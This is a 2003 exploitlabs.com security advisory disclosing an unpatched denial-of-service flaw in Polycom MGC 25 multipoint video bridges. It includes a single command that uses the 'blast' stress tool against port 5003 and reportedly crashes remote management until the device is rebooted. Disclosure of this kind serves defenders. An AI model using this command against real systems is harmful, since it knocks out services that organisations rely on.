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          - EXPL-A-2003-014 exploitlabs.com Advisory 014
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                         -= Polycom MGC25 =-




Nutcase
July 8, 2003


Vunerability(s):
----------------
Denial of Service


Product:
--------
Polycom MGC 25  -  MCU Ver: 5.51.21
Polycom MGC 25  -  MCMS Ver : 5.51.211 ( current )
Polycom MGC 50  -  unverified
Polycom MGC 100 -  unverified


Description of product:
-----------------------
"The MGC 25 is a robust Multipoint Video and Audio bridge
for organizations with a distributed network, a centralized network or both.
 All three platforms ( MGC-25 MGC-50 MGC-100 )
 use the same software, share a common feature set and support 
 the same scheduling and management solutions." 

http://www.polycom.com/common/flash/individual_tours/I_MGC25.htm
http://www.polycom.com/common/pw_item_show_doc/0,1449,853,00.pdf



VUNERABILITY / EXPLOIT
======================

tested on Windows XP / 2k

issuing...

blast 10.10.10.10 5003 600 680 /t 7000 /d 300 /b user

( blast is a stress tool from http://www.foundstone.com/Blast )

completly crashes the control port on the remote host

Box must be rebooted to return remote management functionality 


Local:
------
yes

Remote:
-------
yes


Vendor Fix:
-----------
No fix on 0day


Vendor Contact:
---------------
Concurrent with this advisory
securitycenter@polycom.com


Credits:
--------
Nutcase
id3nt@boxfrog.com
http://exploitlabs.com


exploitlabs.com and nothackers.org thanks Nutcase for his contribution